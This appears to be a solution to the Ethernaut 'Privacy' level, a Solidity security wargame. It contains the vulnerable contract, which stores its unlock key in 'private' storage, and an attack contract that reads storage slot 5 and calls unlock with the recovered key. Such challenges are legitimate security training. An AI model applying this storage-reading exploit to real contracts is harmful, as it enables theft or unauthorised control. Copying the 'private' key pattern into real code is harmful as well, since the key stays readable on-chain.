Ethernaut - Level 12 - Privacy https://ethernaut.openzeppelin.com/level/0x11343d543778213221516D004ED82C45C3c8788B

contracts...Controll.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import "./Privacy.sol";

contract Controll {
    Privacy public target;

    constructor(address targetAddress) public {
        // 0x3C3231f89DeC634f028e25d899e307e185E2c4c7
        target = Privacy(targetAddress);
    }

    function forceUnlock() public {
        // run the following code to get the data at index 5
        // await web3.eth.getStorageAt(contract.address, 5)
        bytes16 _key = bytes16(bytes32(0x5ca1ede209d609a1b9215e42e840ff33b6ab11c8ae88bbf8c24c7d0feb61b22c));
        target.unlock(_key);
    }
}

contracts...Privacy.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Privacy {

  bool public locked = true;
  uint256 public ID = block.timestamp;
  uint8 private flattening = 10;
  uint8 private denomination = 255;
  uint16 private awkwardness = uint16(now);
  bytes32[3] private data;

  constructor(bytes32[3] memory _data) public {
    data = _data;
  }
  
  function unlock(bytes16 _key) public {
    require(_key == bytes16(data[2]));
    locked = false;
  }

  /*
    A bunch of super advanced solidity algorithms...

      ,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`
      .,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,
      *.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^         ,---/V\
      `*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.    ~|__(o.o)
      ^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'  UU  UU
  */
}